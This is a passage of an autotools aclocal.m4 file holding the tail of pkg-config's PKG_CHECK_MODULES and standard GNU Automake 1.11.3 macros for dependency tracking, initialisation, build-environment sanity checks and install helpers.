flags for $1, overriding pkg-config])dnl AC_ARG_VAR([$1][_LIBS], [linker flags for $1, overriding pkg-config])dnl pkg_failed=no AC_MSG_CHECKING([for $1]) _PKG_CONFIG([$1][_CFLAGS], [cflags], [$2]) _PKG_CONFIG([$1][_LIBS], [libs], [$2]) m4_define([_PKG_TEXT], [Alternatively, you may set the environment variables $1[]_CFLAGS and $1[]_LIBS to avoid the need to call pkg-config. See the pkg-config man page for more details.]) if test $pkg_failed = yes; then AC_MSG_RESULT([no]) _PKG_SHORT_ERRORS_SUPPORTED if test $_pkg_short_errors_supported = yes; then $1[]_PKG_ERRORS=`$PKG_CONFIG --short-errors --print-errors --cflags --libs "$2" 2>&1` else $1[]_PKG_ERRORS=`$PKG_CONFIG --print-errors --cflags --libs "$2" 2>&1` fi # Put the nasty error message in config.log where it belongs echo "$$1[]_PKG_ERRORS" >&AS_MESSAGE_LOG_FD m4_default([$4], [AC_MSG_ERROR( [Package requirements ($2) were not met: $$1_PKG_ERRORS Consider adjusting the PKG_CONFIG_PATH environment variable if you installed software in a non-standard prefix. _PKG_TEXT])[]dnl ]) elif test $pkg_failed = untried; then AC_MSG_RESULT([no]) m4_default([$4], [AC_MSG_FAILURE( [The pkg-config script could not be found or is too old. Make sure it is in your PATH or set the PKG_CONFIG environment variable to the full path to pkg-config. _PKG_TEXT To get pkg-config, see .])[]dnl ]) else $1[]_CFLAGS=$pkg_cv_[]$1[]_CFLAGS $1[]_LIBS=$pkg_cv_[]$1[]_LIBS AC_MSG_RESULT([yes]) $3 fi[]dnl ])# PKG_CHECK_MODULES # Copyright (C) 2002, 2003, 2005, 2006, 2007, 2008, 2011 Free Software # Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 1 # AM_AUTOMAKE_VERSION(VERSION) # ---------------------------- # Automake X.Y traces this macro to ensure aclocal.m4 has been # generated from the m4 files accompanying Automake X.Y. # (This private macro should not be called outside this file.) AC_DEFUN([AM_AUTOMAKE_VERSION], [am__api_version='1.11' dnl Some users find AM_AUTOMAKE_VERSION and mistake it for a way to dnl require some minimum version. Point them to the right macro. m4_if([$1], [1.11.3], [], [AC_FATAL([Do not call $0, use AM_INIT_AUTOMAKE([$1]).])])dnl ]) # _AM_AUTOCONF_VERSION(VERSION) # ----------------------------- # aclocal traces this macro to find the Autoconf version. # This is a private macro too. Using m4_define simplifies # the logic in aclocal, which can simply ignore this definition. m4_define([_AM_AUTOCONF_VERSION], []) # AM_SET_CURRENT_AUTOMAKE_VERSION # ------------------------------- # Call AM_AUTOMAKE_VERSION and AM_AUTOMAKE_VERSION so they can be traced. # This function is AC_REQUIREd by AM_INIT_AUTOMAKE. AC_DEFUN([AM_SET_CURRENT_AUTOMAKE_VERSION], [AM_AUTOMAKE_VERSION([1.11.3])dnl m4_ifndef([AC_AUTOCONF_VERSION], [m4_copy([m4_PACKAGE_VERSION], [AC_AUTOCONF_VERSION])])dnl _AM_AUTOCONF_VERSION(m4_defn([AC_AUTOCONF_VERSION]))]) # AM_AUX_DIR_EXPAND -*- Autoconf -*- # Copyright (C) 2001, 2003, 2005, 2011 Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 1 # For projects using AC_CONFIG_AUX_DIR([foo]), Autoconf sets # $ac_aux_dir to `$srcdir/foo'. In other projects, it is set to # `$srcdir', `$srcdir/..', or `$srcdir/../..'. # # Of course, Automake must honor this variable whenever it calls a # tool from the auxiliary directory. The problem is that $srcdir (and # therefore $ac_aux_dir as well) can be either absolute or relative, # depending on how configure is run. This is pretty annoying, since # it makes $ac_aux_dir quite unusable in subdirectories: in the top # source directory, any form will work fine, but in subdirectories a # relative path needs to be adjusted first. # # $ac_aux_dir/missing # fails when called from a subdirectory if $ac_aux_dir is relative # $top_srcdir/$ac_aux_dir/missing # fails if $ac_aux_dir is absolute, # fails when called from a subdirectory in a VPATH build with # a relative $ac_aux_dir # # The reason of the latter failure is that $top_srcdir and $ac_aux_dir # are both prefixed by $srcdir. In an in-source build this is usually # harmless because $srcdir is `.', but things will broke when you # start a VPATH build or use an absolute $srcdir. # # So we could use something similar to $top_srcdir/$ac_aux_dir/missing, # iff we strip the leading $srcdir from $ac_aux_dir. That would be: # am_aux_dir='\$(top_srcdir)/'`expr "$ac_aux_dir" : "$srcdir//*\(.*\)"` # and then we would define $MISSING as # MISSING="\${SHELL} $am_aux_dir/missing" # This will work as long as MISSING is not called from configure, because # unfortunately $(top_srcdir) has no meaning in configure. # However there are other variables, like CC, which are often used in # configure, and could therefore not use this "fixed" $ac_aux_dir. # # Another solution, used here, is to always expand $ac_aux_dir to an # absolute PATH. The drawback is that using absolute paths prevent a # configured tree to be moved without reconfiguration. AC_DEFUN([AM_AUX_DIR_EXPAND], [dnl Rely on autoconf to set up CDPATH properly. AC_PREREQ([2.50])dnl # expand $ac_aux_dir to an absolute path am_aux_dir=`cd $ac_aux_dir && pwd` ]) # AM_CONDITIONAL -*- Autoconf -*- # Copyright (C) 1997, 2000, 2001, 2003, 2004, 2005, 2006, 2008 # Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 9 # AM_CONDITIONAL(NAME, SHELL-CONDITION) # ------------------------------------- # Define a conditional. AC_DEFUN([AM_CONDITIONAL], [AC_PREREQ(2.52)dnl ifelse([$1], [TRUE], [AC_FATAL([$0: invalid condition: $1])], [$1], [FALSE], [AC_FATAL([$0: invalid condition: $1])])dnl AC_SUBST([$1_TRUE])dnl AC_SUBST([$1_FALSE])dnl _AM_SUBST_NOTMAKE([$1_TRUE])dnl _AM_SUBST_NOTMAKE([$1_FALSE])dnl m4_define([_AM_COND_VALUE_$1], [$2])dnl if $2; then $1_TRUE= $1_FALSE='#' else $1_TRUE='#' $1_FALSE= fi AC_CONFIG_COMMANDS_PRE( [if test -z "${$1_TRUE}" && test -z "${$1_FALSE}"; then AC_MSG_ERROR([[conditional "$1" was never defined. Usually this means the macro was only invoked conditionally.]]) fi])]) # Copyright (C) 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2009, # 2010, 2011 Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 12 # There are a few dirty hacks below to avoid letting `AC_PROG_CC' be # written in clear, in which case automake, when reading aclocal.m4, # will think it sees a *use*, and therefore will trigger all it's # C support machinery. Also note that it means that autoscan, seeing # CC etc. in the Makefile, will ask for an AC_PROG_CC use... # _AM_DEPENDENCIES(NAME) # ---------------------- # See how the compiler implements dependency checking. # NAME is "CC", "CXX", "GCJ", or "OBJC". # We try a few techniques and use that to set a single cache variable. # # We don't AC_REQUIRE the corresponding AC_PROG_CC since the latter was # modified to invoke _AM_DEPENDENCIES(CC); we would have a circular # dependency, and given that the user is not expected to run this macro, # just rely on AC_PROG_CC. AC_DEFUN([_AM_DEPENDENCIES], [AC_REQUIRE([AM_SET_DEPDIR])dnl AC_REQUIRE([AM_OUTPUT_DEPENDENCY_COMMANDS])dnl AC_REQUIRE([AM_MAKE_INCLUDE])dnl AC_REQUIRE([AM_DEP_TRACK])dnl ifelse([$1], CC, [depcc="$CC" am_compiler_list=], [$1], CXX, [depcc="$CXX" am_compiler_list=], [$1], OBJC, [depcc="$OBJC" am_compiler_list='gcc3 gcc'], [$1], UPC, [depcc="$UPC" am_compiler_list=], [$1], GCJ, [depcc="$GCJ" am_compiler_list='gcc3 gcc'], [depcc="$$1" am_compiler_list=]) AC_CACHE_CHECK([dependency style of $depcc], [am_cv_$1_dependencies_compiler_type], [if test -z "$AMDEP_TRUE" && test -f "$am_depcomp"; then # We make a subdir and do the tests there. Otherwise we can end up # making bogus files that we don't know about and never remove. For # instance it was reported that on HP-UX the gcc test will end up # making a dummy file named `D' -- because `-MD' means `put the output # in D'. rm -rf conftest.dir mkdir conftest.dir # Copy depcomp to subdir because otherwise we won't find it if we're # using a relative directory. cp "$am_depcomp" conftest.dir cd conftest.dir # We will build objects and dependencies in a subdirectory because # it helps to detect inapplicable dependency modes. For instance # both Tru64's cc and ICC support -MD to output dependencies as a # side effect of compilation, but ICC will put the dependencies in # the current directory while Tru64 will put them in the object # directory. mkdir sub am_cv_$1_dependencies_compiler_type=none if test "$am_compiler_list" = ""; then am_compiler_list=`sed -n ['s/^#*\([a-zA-Z0-9]*\))$/\1/p'] < ./depcomp` fi am__universal=false m4_case([$1], [CC], [case " $depcc " in #( *\ -arch\ *\ -arch\ *) am__universal=true ;; esac], [CXX], [case " $depcc " in #( *\ -arch\ *\ -arch\ *) am__universal=true ;; esac]) for depmode in $am_compiler_list; do # Setup a source with many dependencies, because some compilers # like to wrap large dependency lists on column 80 (with \), and # we should not choose a depcomp mode which is confused by this. # # We need to recreate these files for each test, as the compiler may # overwrite some of them when testing with obscure command lines. # This happens at least with the AIX C compiler. : > sub/conftest.c for i in 1 2 3 4 5 6; do echo '#include "conftst'$i'.h"' >> sub/conftest.c # Using `: > sub/conftst$i.h' creates only sub/conftst1.h with # Solaris 8's {/usr,}/bin/sh. touch sub/conftst$i.h done echo "${am__include} ${am__quote}sub/conftest.Po${am__quote}" > confmf # We check with `-c' and `-o' for the sake of the "dashmstdout" # mode. It turns out that the SunPro C++ compiler does not properly # handle `-M -o', and we need to detect this. Also, some Intel # versions had trouble with output in subdirs am__obj=sub/conftest.${OBJEXT-o} am__minus_obj="-o $am__obj" case $depmode in gcc) # This depmode causes a compiler race in universal mode. test "$am__universal" = false || continue ;; nosideeffect) # after this tag, mechanisms are not by side-effect, so they'll # only be used when explicitly requested if test "x$enable_dependency_tracking" = xyes; then continue else break fi ;; msvc7 | msvc7msys | msvisualcpp | msvcmsys) # This compiler won't grok `-c -o', but also, the minuso test has # not run yet. These depmodes are late enough in the game, and # so weak that their functioning should not be impacted. am__obj=conftest.${OBJEXT-o} am__minus_obj= ;; none) break ;; esac if depmode=$depmode \ source=sub/conftest.c object=$am__obj \ depfile=sub/conftest.Po tmpdepfile=sub/conftest.TPo \ $SHELL ./depcomp $depcc -c $am__minus_obj sub/conftest.c \ >/dev/null 2>conftest.err && grep sub/conftst1.h sub/conftest.Po > /dev/null 2>&1 && grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 && grep $am__obj sub/conftest.Po > /dev/null 2>&1 && ${MAKE-make} -s -f confmf > /dev/null 2>&1; then # icc doesn't choke on unknown options, it will just issue warnings # or remarks (even with -Werror). So we grep stderr for any message # that says an option was ignored or not supported. # When given -MP, icc 7.0 and 7.1 complain thusly: # icc: Command line warning: ignoring option '-M'; no argument required # The diagnosis changed in icc 8.0: # icc: Command line remark: option '-MP' not supported if (grep 'ignoring option' conftest.err || grep 'not supported' conftest.err) >/dev/null 2>&1; then :; else am_cv_$1_dependencies_compiler_type=$depmode break fi fi done cd .. rm -rf conftest.dir else am_cv_$1_dependencies_compiler_type=none fi ]) AC_SUBST([$1DEPMODE], [depmode=$am_cv_$1_dependencies_compiler_type]) AM_CONDITIONAL([am__fastdep$1], [ test "x$enable_dependency_tracking" != xno \ && test "$am_cv_$1_dependencies_compiler_type" = gcc3]) ]) # AM_SET_DEPDIR # ------------- # Choose a directory name for dependency files. # This macro is AC_REQUIREd in _AM_DEPENDENCIES AC_DEFUN([AM_SET_DEPDIR], [AC_REQUIRE([AM_SET_LEADING_DOT])dnl AC_SUBST([DEPDIR], ["${am__leading_dot}deps"])dnl ]) # AM_DEP_TRACK # ------------ AC_DEFUN([AM_DEP_TRACK], [AC_ARG_ENABLE(dependency-tracking, [ --disable-dependency-tracking speeds up one-time build --enable-dependency-tracking do not reject slow dependency extractors]) if test "x$enable_dependency_tracking" != xno; then am_depcomp="$ac_aux_dir/depcomp" AMDEPBACKSLASH='\' am__nodep='_no' fi AM_CONDITIONAL([AMDEP], [test "x$enable_dependency_tracking" != xno]) AC_SUBST([AMDEPBACKSLASH])dnl _AM_SUBST_NOTMAKE([AMDEPBACKSLASH])dnl AC_SUBST([am__nodep])dnl _AM_SUBST_NOTMAKE([am__nodep])dnl ]) # Generate code to set up dependency tracking. -*- Autoconf -*- # Copyright (C) 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2008 # Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. #serial 5 # _AM_OUTPUT_DEPENDENCY_COMMANDS # ------------------------------ AC_DEFUN([_AM_OUTPUT_DEPENDENCY_COMMANDS], [{ # Autoconf 2.62 quotes --file arguments for eval, but not when files # are listed without --file. Let's play safe and only enable the eval # if we detect the quoting. case $CONFIG_FILES in *\'*) eval set x "$CONFIG_FILES" ;; *) set x $CONFIG_FILES ;; esac shift for mf do # Strip MF so we end up with the name of the file. mf=`echo "$mf" | sed -e 's/:.*$//'` # Check whether this is an Automake generated Makefile or not. # We used to match only the files named `Makefile.in', but # some people rename them; so instead we look at the file content. # Grep'ing the first line is not enough: some people post-process # each Makefile.in and add a new line on top of each file to say so. # Grep'ing the whole file is not good either: AIX grep has a line # limit of 2048, but all sed's we know have understand at least 4000. if sed -n 's,^#.*generated by automake.*,X,p' "$mf" | grep X >/dev/null 2>&1; then dirpart=`AS_DIRNAME("$mf")` else continue fi # Extract the definition of DEPDIR, am__include, and am__quote # from the Makefile without running `make'. DEPDIR=`sed -n 's/^DEPDIR = //p' < "$mf"` test -z "$DEPDIR" && continue am__include=`sed -n 's/^am__include = //p' < "$mf"` test -z "am__include" && continue am__quote=`sed -n 's/^am__quote = //p' < "$mf"` # When using ansi2knr, U may be empty or an underscore; expand it U=`sed -n 's/^U = //p' < "$mf"` # Find all dependency output files, they are included files with # $(DEPDIR) in their names. We invoke sed twice because it is the # simplest approach to changing $(DEPDIR) to its actual value in the # expansion. for file in `sed -n " s/^$am__include $am__quote\(.*(DEPDIR).*\)$am__quote"'$/\1/p' <"$mf" | \ sed -e 's/\$(DEPDIR)/'"$DEPDIR"'/g' -e 's/\$U/'"$U"'/g'`; do # Make sure the directory exists. test -f "$dirpart/$file" && continue fdir=`AS_DIRNAME(["$file"])` AS_MKDIR_P([$dirpart/$fdir]) # echo "creating $dirpart/$file" echo '# dummy' > "$dirpart/$file" done done } ])# _AM_OUTPUT_DEPENDENCY_COMMANDS # AM_OUTPUT_DEPENDENCY_COMMANDS # ----------------------------- # This macro should only be invoked once -- use via AC_REQUIRE. # # This code is only required when automatic dependency tracking # is enabled. FIXME. This creates each `.P' file that we will # need in order to bootstrap the dependency handling code. AC_DEFUN([AM_OUTPUT_DEPENDENCY_COMMANDS], [AC_CONFIG_COMMANDS([depfiles], [test x"$AMDEP_TRUE" != x"" || _AM_OUTPUT_DEPENDENCY_COMMANDS], [AMDEP_TRUE="$AMDEP_TRUE" ac_aux_dir="$ac_aux_dir"]) ]) # Copyright (C) 1996, 1997, 2000, 2001, 2003, 2005 # Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 8 # AM_CONFIG_HEADER is obsolete. It has been replaced by AC_CONFIG_HEADERS. AU_DEFUN([AM_CONFIG_HEADER], [AC_CONFIG_HEADERS($@)]) # Do all the work for Automake. -*- Autoconf -*- # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, # 2005, 2006, 2008, 2009 Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 16 # This macro actually does too much. Some checks are only needed if # your package does certain things. But this isn't really a big deal. # AM_INIT_AUTOMAKE(PACKAGE, VERSION, [NO-DEFINE]) # AM_INIT_AUTOMAKE([OPTIONS]) # ----------------------------------------------- # The call with PACKAGE and VERSION arguments is the old style # call (pre autoconf-2.50), which is being phased out. PACKAGE # and VERSION should now be passed to AC_INIT and removed from # the call to AM_INIT_AUTOMAKE. # We support both call styles for the transition. After # the next Automake release, Autoconf can make the AC_INIT # arguments mandatory, and then we can depend on a new Autoconf # release and drop the old call support. AC_DEFUN([AM_INIT_AUTOMAKE], [AC_PREREQ([2.62])dnl dnl Autoconf wants to disallow AM_ names. We explicitly allow dnl the ones we care about. m4_pattern_allow([^AM_[A-Z]+FLAGS$])dnl AC_REQUIRE([AM_SET_CURRENT_AUTOMAKE_VERSION])dnl AC_REQUIRE([AC_PROG_INSTALL])dnl if test "`cd $srcdir && pwd`" != "`pwd`"; then # Use -I$(srcdir) only when $(srcdir) != ., so that make's output # is not polluted with repeated "-I." AC_SUBST([am__isrc], [' -I$(srcdir)'])_AM_SUBST_NOTMAKE([am__isrc])dnl # test to see if srcdir already configured if test -f $srcdir/config.status; then AC_MSG_ERROR([source directory already configured; run "make distclean" there first]) fi fi # test whether we have cygpath if test -z "$CYGPATH_W"; then if (cygpath --version) >/dev/null 2>/dev/null; then CYGPATH_W='cygpath -w' else CYGPATH_W=echo fi fi AC_SUBST([CYGPATH_W]) # Define the identity of the package. dnl Distinguish between old-style and new-style calls. m4_ifval([$2], [m4_ifval([$3], [_AM_SET_OPTION([no-define])])dnl AC_SUBST([PACKAGE], [$1])dnl AC_SUBST([VERSION], [$2])], [_AM_SET_OPTIONS([$1])dnl dnl Diagnose old-style AC_INIT with new-style AM_AUTOMAKE_INIT. m4_if(m4_ifdef([AC_PACKAGE_NAME], 1)m4_ifdef([AC_PACKAGE_VERSION], 1), 11,, [m4_fatal([AC_INIT should be called with package and version arguments])])dnl AC_SUBST([PACKAGE], ['AC_PACKAGE_TARNAME'])dnl AC_SUBST([VERSION], ['AC_PACKAGE_VERSION'])])dnl _AM_IF_OPTION([no-define],, [AC_DEFINE_UNQUOTED(PACKAGE, "$PACKAGE", [Name of package]) AC_DEFINE_UNQUOTED(VERSION, "$VERSION", [Version number of package])])dnl # Some tools Automake needs. AC_REQUIRE([AM_SANITY_CHECK])dnl AC_REQUIRE([AC_ARG_PROGRAM])dnl AM_MISSING_PROG(ACLOCAL, aclocal-${am__api_version}) AM_MISSING_PROG(AUTOCONF, autoconf) AM_MISSING_PROG(AUTOMAKE, automake-${am__api_version}) AM_MISSING_PROG(AUTOHEADER, autoheader) AM_MISSING_PROG(MAKEINFO, makeinfo) AC_REQUIRE([AM_PROG_INSTALL_SH])dnl AC_REQUIRE([AM_PROG_INSTALL_STRIP])dnl AC_REQUIRE([AM_PROG_MKDIR_P])dnl # We need awk for the "check" target. The system "awk" is bad on # some platforms. AC_REQUIRE([AC_PROG_AWK])dnl AC_REQUIRE([AC_PROG_MAKE_SET])dnl AC_REQUIRE([AM_SET_LEADING_DOT])dnl _AM_IF_OPTION([tar-ustar], [_AM_PROG_TAR([ustar])], [_AM_IF_OPTION([tar-pax], [_AM_PROG_TAR([pax])], [_AM_PROG_TAR([v7])])]) _AM_IF_OPTION([no-dependencies],, [AC_PROVIDE_IFELSE([AC_PROG_CC], [_AM_DEPENDENCIES(CC)], [define([AC_PROG_CC], defn([AC_PROG_CC])[_AM_DEPENDENCIES(CC)])])dnl AC_PROVIDE_IFELSE([AC_PROG_CXX], [_AM_DEPENDENCIES(CXX)], [define([AC_PROG_CXX], defn([AC_PROG_CXX])[_AM_DEPENDENCIES(CXX)])])dnl AC_PROVIDE_IFELSE([AC_PROG_OBJC], [_AM_DEPENDENCIES(OBJC)], [define([AC_PROG_OBJC], defn([AC_PROG_OBJC])[_AM_DEPENDENCIES(OBJC)])])dnl ]) _AM_IF_OPTION([silent-rules], [AC_REQUIRE([AM_SILENT_RULES])])dnl dnl The `parallel-tests' driver may need to know about EXEEXT, so add the dnl `am__EXEEXT' conditional if _AM_COMPILER_EXEEXT was seen. This macro dnl is hooked onto _AC_COMPILER_EXEEXT early, see below. AC_CONFIG_COMMANDS_PRE(dnl [m4_provide_if([_AM_COMPILER_EXEEXT], [AM_CONDITIONAL([am__EXEEXT], [test -n "$EXEEXT"])])])dnl ]) dnl Hook into `_AC_COMPILER_EXEEXT' early to learn its expansion. Do not dnl add the conditional right here, as _AC_COMPILER_EXEEXT may be further dnl mangled by Autoconf and run in a shell conditional statement. m4_define([_AC_COMPILER_EXEEXT], m4_defn([_AC_COMPILER_EXEEXT])[m4_provide([_AM_COMPILER_EXEEXT])]) # When config.status generates a header, we must update the stamp-h file. # This file resides in the same directory as the config header # that is generated. The stamp files are numbered to have different names. # Autoconf calls _AC_AM_CONFIG_HEADER_HOOK (when defined) in the # loop where config.status creates the headers, so we can generate # our stamp files there. AC_DEFUN([_AC_AM_CONFIG_HEADER_HOOK], [# Compute $1's index in $config_headers. _am_arg=$1 _am_stamp_count=1 for _am_header in $config_headers :; do case $_am_header in $_am_arg | $_am_arg:* ) break ;; * ) _am_stamp_count=`expr $_am_stamp_count + 1` ;; esac done echo "timestamp for $_am_arg" >`AS_DIRNAME(["$_am_arg"])`/stamp-h[]$_am_stamp_count]) # Copyright (C) 2001, 2003, 2005, 2008, 2011 Free Software Foundation, # Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 1 # AM_PROG_INSTALL_SH # ------------------ # Define $install_sh. AC_DEFUN([AM_PROG_INSTALL_SH], [AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl if test x"${install_sh}" != xset; then case $am_aux_dir in *\ * | *\ *) install_sh="\${SHELL} '$am_aux_dir/install-sh'" ;; *) install_sh="\${SHELL} $am_aux_dir/install-sh" esac fi AC_SUBST(install_sh)]) # Copyright (C) 2003, 2005 Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 2 # Check whether the underlying file-system supports filenames # with a leading dot. For instance MS-DOS doesn't. AC_DEFUN([AM_SET_LEADING_DOT], [rm -rf .tst 2>/dev/null mkdir .tst 2>/dev/null if test -d .tst; then am__leading_dot=. else am__leading_dot=_ fi rmdir .tst 2>/dev/null AC_SUBST([am__leading_dot])]) # Check to see how 'make' treats includes. -*- Autoconf -*- # Copyright (C) 2001, 2002, 2003, 2005, 2009 Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 4 # AM_MAKE_INCLUDE() # ----------------- # Check to see how make treats includes. AC_DEFUN([AM_MAKE_INCLUDE], [am_make=${MAKE-make} cat > confinc << 'END' am__doit: @echo this is the am__doit target .PHONY: am__doit END # If we don't find an include directive, just comment out the code. AC_MSG_CHECKING([for style of include used by $am_make]) am__include="#" am__quote= _am_result=none # First try GNU make style include. echo "include confinc" > confmf # Ignore all kinds of additional output from `make'. case `$am_make -s -f confmf 2> /dev/null` in #( *the\ am__doit\ target*) am__include=include am__quote= _am_result=GNU ;; esac # Now try BSD make style include. if test "$am__include" = "#"; then echo '.include "confinc"' > confmf case `$am_make -s -f confmf 2> /dev/null` in #( *the\ am__doit\ target*) am__include=.include am__quote="\"" _am_result=BSD ;; esac fi AC_SUBST([am__include]) AC_SUBST([am__quote]) AC_MSG_RESULT([$_am_result]) rm -f confinc confmf ]) # Fake the existence of programs that GNU maintainers use. -*- Autoconf -*- # Copyright (C) 1997, 1999, 2000, 2001, 2003, 2004, 2005, 2008 # Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 6 # AM_MISSING_PROG(NAME, PROGRAM) # ------------------------------ AC_DEFUN([AM_MISSING_PROG], [AC_REQUIRE([AM_MISSING_HAS_RUN]) $1=${$1-"${am_missing_run}$2"} AC_SUBST($1)]) # AM_MISSING_HAS_RUN # ------------------ # Define MISSING if not defined so far and test if it supports --run. # If it does, set am_missing_run to use it, otherwise, to nothing. AC_DEFUN([AM_MISSING_HAS_RUN], [AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl AC_REQUIRE_AUX_FILE([missing])dnl if test x"${MISSING+set}" != xset; then case $am_aux_dir in *\ * | *\ *) MISSING="\${SHELL} \"$am_aux_dir/missing\"" ;; *) MISSING="\${SHELL} $am_aux_dir/missing" ;; esac fi # Use eval to expand $SHELL if eval "$MISSING --run true"; then am_missing_run="$MISSING --run " else am_missing_run= AC_MSG_WARN([`missing' script is too old or missing]) fi ]) # Copyright (C) 2003, 2004, 2005, 2006, 2011 Free Software Foundation, # Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 1 # AM_PROG_MKDIR_P # --------------- # Check for `mkdir -p'. AC_DEFUN([AM_PROG_MKDIR_P], [AC_PREREQ([2.60])dnl AC_REQUIRE([AC_PROG_MKDIR_P])dnl dnl Automake 1.8 to 1.9.6 used to define mkdir_p. We now use MKDIR_P, dnl while keeping a definition of mkdir_p for backward compatibility. dnl @MKDIR_P@ is magic: AC_OUTPUT adjusts its value for each Makefile. dnl However we cannot define mkdir_p as $(MKDIR_P) for the sake of dnl Makefile.ins that do not define MKDIR_P, so we do our own dnl adjustment using top_builddir (which is defined more often than dnl MKDIR_P). AC_SUBST([mkdir_p], ["$MKDIR_P"])dnl case $mkdir_p in [[\\/$]]* | ?:[[\\/]]*) ;; */*) mkdir_p="\$(top_builddir)/$mkdir_p" ;; esac ]) # Helper functions for option handling. -*- Autoconf -*- # Copyright (C) 2001, 2002, 2003, 2005, 2008, 2010 Free Software # Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 5 # _AM_MANGLE_OPTION(NAME) # ----------------------- AC_DEFUN([_AM_MANGLE_OPTION], [[_AM_OPTION_]m4_bpatsubst($1, [[^a-zA-Z0-9_]], [_])]) # _AM_SET_OPTION(NAME) # -------------------- # Set option NAME. Presently that only means defining a flag for this option. AC_DEFUN([_AM_SET_OPTION], [m4_define(_AM_MANGLE_OPTION([$1]), 1)]) # _AM_SET_OPTIONS(OPTIONS) # ------------------------ # OPTIONS is a space-separated list of Automake options. AC_DEFUN([_AM_SET_OPTIONS], [m4_foreach_w([_AM_Option], [$1], [_AM_SET_OPTION(_AM_Option)])]) # _AM_IF_OPTION(OPTION, IF-SET, [IF-NOT-SET]) # ------------------------------------------- # Execute IF-SET if OPTION is set, IF-NOT-SET otherwise. AC_DEFUN([_AM_IF_OPTION], [m4_ifset(_AM_MANGLE_OPTION([$1]), [$2], [$3])]) # Check to make sure that the build environment is sane. -*- Autoconf -*- # Copyright (C) 1996, 1997, 2000, 2001, 2003, 2005, 2008 # Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 5 # AM_SANITY_CHECK # --------------- AC_DEFUN([AM_SANITY_CHECK], [AC_MSG_CHECKING([whether build environment is sane]) # Just in case sleep 1 echo timestamp > conftest.file # Reject unsafe characters in $srcdir or the absolute working directory # name. Accept space and tab only in the latter. am_lf=' ' case `pwd` in *[[\\\"\#\$\&\'\`$am_lf]]*) AC_MSG_ERROR([unsafe absolute working directory name]);; esac case $srcdir in *[[\\\"\#\$\&\'\`$am_lf\ \ ]]*) AC_MSG_ERROR([unsafe srcdir value: `$srcdir']);; esac # Do `set' in a subshell so we don't clobber the current shell's # arguments. Must try -L first in case configure is actually a # symlink; some systems play weird games with the mod time of symlinks # (eg FreeBSD returns the mod time of the symlink's containing # directory). if ( set X `ls -Lt "$srcdir/configure" conftest.file 2> /dev/null` if test "$[*]" = "X"; then # -L didn't work. set X `ls -t "$srcdir/configure" conftest.file` fi rm -f conftest.file if test "$[*]" != "X $srcdir/configure conftest.file" \ && test "$[*]" != "X conftest.file $srcdir/configure"; then # If neither matched, then we have a broken ls. This can happen # if, for instance, CONFIG_SHELL is bash and it inherits a # broken ls alias from the environment. This has actually # happened. Such a system could not be considered "sane". AC_MSG_ERROR([ls -t appears to fail. Make sure there is not a broken alias in your environment]) fi test "$[2]" = conftest.file ) then # Ok. : else AC_MSG_ERROR([newly created file is older than distributed files! Check your system clock]) fi AC_MSG_RESULT(yes)]) # Copyright (C) 2001, 2003, 2005, 2011 Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 1 # AM_PROG_INSTALL_STRIP # --------------------- # One issue with vendor `install' (even GNU) is that you can't # specify the program used to strip binaries. This is especially # annoying in cross-compiling environments, where the build's strip # is unlikely to handle the host's binaries. # Fortunately install-sh will honor a STRIPPROG variable, so we # always use install-sh in `make install-strip', and initialize # STRIPPROG with the value of the STRIP variable (set by the user). AC_DEFUN([AM_PROG_INSTALL_STRIP], [AC_REQUIRE([AM_PROG_INSTALL_SH])dnl # Installed binaries are usually stripped using `strip' when the user # run `make install-strip'. However `strip' might not be the right # tool to use in cross-compilation environments, therefore Automake # will honor the `STRIP' environment variable to overrule this program. dnl Don't test for $cross_compiling = yes, because it might be `maybe'. if test "$cross_compiling" != no; then AC_CHECK_TOOL([STRIP], [strip], :) fi INSTALL_STRIP_PROGRAM="\$(install_sh) -c -s" AC_SUBST([INSTALL_STRIP_PROGRAM])]) # Copyright (C) 2006, 2008, 2010 Free Software Foundation, Inc. # # This file is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # serial 3 # _AM_SUBST_NOTMAKE(VARIABLE) # --------------------------- # Prevent Automake from outputting VARIABLE = @VARIABLE@ in Makefile.in. # This macro is traced by Automake. AC_DEFUN([_AM_SUBST_NOTMAKE]) # AM_SUBST_NOTMAKE(VARIABLE) # -------------------------- # Public sister of 